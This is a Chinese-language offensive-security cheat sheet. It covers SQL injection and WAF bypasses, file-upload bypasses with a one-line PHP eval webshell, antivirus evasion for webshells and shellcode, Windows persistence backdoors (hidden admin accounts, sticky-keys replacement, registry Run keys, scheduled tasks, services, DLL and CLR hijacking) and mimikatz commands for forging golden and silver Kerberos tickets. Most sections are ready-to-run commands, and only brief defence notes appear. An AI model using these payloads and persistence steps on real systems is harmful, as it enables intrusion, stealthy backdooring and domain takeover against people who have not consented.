SQLMAP os-shell原理
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令。
在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建
必要条件:
- 拥有网站的写入权限
- Secure_file_priv参数为空或者为指定路径。
- 普通注入–os-shell主要是通过上传一个sqlmap的马,然后通过马来进行命令执行。
SQL绕过waf
1. 大小写
2. 双写
3. 空格
select/**/*/**/from/**/yz;
select%0a*%0afrom%0ayz; %0a 是回车
select(a)from(yz);
select(a)from(yz)where(a=1);
4. 内联注释
id=1/*!UnIoN*/SeLeCT
/*!select*//*!**//*!from*//*!yz*/;
5. URL编码,当网站会解码时才能用
$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
select * from yz
select * from %2579%257a
6. 十六进制(引号)
7. 逗号
8. 比较符(<,>)
9. 注释符
10. 宽字节
%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’
其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27
如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’
也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了
注:select防止用户自定义的名称和mysql保留字冲突。
**修复:
使用统一字符集
使用 mysql_real_escape_string 进行转义
PHP编写的代码,使用magic_quotes_gpc(魔术引号)
使用addslashes对参数进行转义
使用PDO预处理(php_pdo_mysql.dll)
**
文件上传检测方式以及绕过原理
监测方法:JS、黑白名单、mine(基于上传自带类型艰检测)
绕过方法:
1. %00绕过(.php终止符.jpg)
白名单过滤肯定是从后往前读取后缀,所以读取到.jpg在白名单里就放通了。
但是在调用文件的时候读取文件名是从前往后读,所以看到.php后面的终止符的时候就停止读取了,最终读取的文件名的后缀就是.php
这个%00是什么意思呢?看到有%,那么首先就应该想到的是URL编码。然而%00只针对GET传参,所以POST传参不能识别URL编码
2. 0x00绕过(当post方式传参时使用)
3. 图片马绕过(包括二次渲染)
4. 条件竞争绕过(针对先上传再检测的web网站)
上传一个1.php的文件,1.php文件里的内容是生成2.php(木马)的语句,在网站删除1.php之前,访问到它,然后就生成了2.php,随后1.php被删除了,但是2.php还存在,因为2.php不是通过上传来的,所以可以绕过检测机制。
需要用到语句:file_put_contents('2.php','<?php eval($_REQUEST[8])?>');
5. 常规文件名改造(替换、构造异常闭合、重写、大小写、恶意参数污染、编码、换行)
6. 修改请求方式
7. 分块参数+参数污染
8. 修改长度字段
Webshell免杀
1. 高版本php不换行执行命令
2. 利用\特殊符号来引起报错
3. 十六进制字符串(在php7中不认为是数字,php5则依旧为数字)
4. jspx CDATA特性
jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式
在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始
但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA
CDATA部分内容会被解析器忽略,此时ameter依旧会与getPar拼接成为getParameter
5. 实体化编码
6. 利用java支持其他编码格式来进行绕过
msf/cs免杀
1. 对shellcode进行加密编码
1. 在特定位置添加垃圾字节
2. 使用硬编码的单字节密钥对字节进行XOR或者加减法运算
3. 将字节移位某些特定位置
4. 交换连续字节
FOFA信息收集
windows权限维持
简单维持
- 创建影子账户
net user test$ 123456 /add net localgroup administrators test$ /add 注册表(HKEY_LOCAL_MACHINE\SAM\SAM)修改SAM权限,赋予adminitrators完全控制权限 将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值 将test$和所对应项文件夹导出,分别命名为test.reg和1.reg 删除test$用户,将test.reg和1.reg导入注册表 net user test$ /del regedit /s test.reg regedit /s 1.reg
- 粘滞键后门
粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。 粘滞键的主要功能是方便Shift等键的组合使用。一般的电脑连按五次shift会出现粘滞键提示。 粘滞键位置:c:\windows\system32\sethc.exe sethc.exe sethc1.exemove copy cmd.exe sethc.exe
- logon scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。 注册表位置:HKEY_CURRENT_USER\Environment REG ADD "HKEY CURRENT USER\Environment" /v UserlnitMprLogonScript /t REG_SZ /d "C:\shell.exe" #创建键为: UsernitMprLogonScript,其键值为我们要启动的程序路径
- 注册表自启动后门
位置一: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 添加键test,值为后门程序路径。 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\shell.exe" 位置二: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 修改键Userinit的值,重启就会自动运行程序。
- 屏幕保护程序后门(还是改注册表)
- 计划任务后门
schtasks /Create /tn Updater /tr c:\whell.exe /sc minute /mo 5 #每5分钟自动执行666.exe
- 服务自启动后门
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。 sc create test binpath= c:\shell.exe (注意等号后面有空格) #创建服务 sc config test start= auto #设置服务为自动启动 net start test #启动服务
- 黄金白银票据
- DLL劫持
dll加载顺序:
Windows xp sp2之前:
1. 进程对应的应用程序所在目录;
2. 当前目录(Current Directory);
3. 系统目录(通过 GetSystemDirectory 获取);
4. 16位系统目录;
5. Windows目录(通过 GetWindowsDirectory 获取);
6. PATH环境变量中的各个目录;
Windows xp sp2之后:
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
2. 系统目录(即%windir%system32);
3. 16位系统目录(即%windir%system);
4. Windows目录(即%windir%);
5. 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
6. PATH环境变量中的各个目录;
win7以上版本:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
劫持流程:
1. 使用ahaeadlib将源dll文件转为cpp文件
2. 使用visual studio打开cpp文件插入要执行的后门代码,并生成新的dll文件
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\shell.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
- CLR劫持
CLR称公共语言运行时。CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行。
可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。
1.修改注册表:
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F
2.配置全局环境变量(不然只在当前cmd窗口劫持.net程序)
SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M
3.然后直接执行powershell即可上线。
黄金白银票据
Kerberos认证的大概流程:
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:
Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
黄金票据是伪造TGT,白银票据则是伪造ST
黄金票据(Golden Ticket)
原理
黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
利用前提:
- 拿到域控(没错就是拿到域控QAQ),适合做权限维持
- 有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)
条件要求:
- 域名
whoami net time /domain ipconfig /all
- 域的SID 值
whoami /all
- 域的KRBTGT账户NTLM密码哈希
使用mimikatz lsadump::dcsync /domain:zz.com /user:krbtgt /csv
- 伪造用户名
net group "domain admins"
防御
- 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机,将所有其他权限委派给自定义管理员组。
- 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。
- 建议定期更改KRBTGT密码,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。
- 通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。
白银票据(Silver Ticket)
原理
黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等
利用前提:
- 拿到目标机器hash(是目标机,不一定是域控)
条件要求:
- 域名
whoami net time /domain ipconfig /all
- 域的SID 值
whoami /all
- 目标服务器FQDN
net time /domain 就是hostname+域名 /target:\\WIN-75NA0949GFB.NOONE.com
- 可利用的服务
/service:CIFS
- 服务账号的NTML HASH
/rc4:08d93ddf15a6309a46daaa7ec8565296 #生成了mimikatz.log文件(域控主机执行) 服务账号就是域控名$ mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
- 需要伪造的用户名
/user:Administrator
- 清除其它票据
klist purge
- 使用mimikatz伪造票据注入内存
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt
两者区别
获取的权限不同
金票:伪造的由域控生成的针对所有机器的所有服务的TGT,可以获取任意Kerberos的访问权限
银票:伪造的普通域用户的身份生成的ST,只能访问指定的服务,如CIFS
认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
产生日志与否
Golden Ticket会在域控中留下日志
Silver Ticket 仅在目标系统留下日志
(因为Silver Ticket 不与KDC产生交互)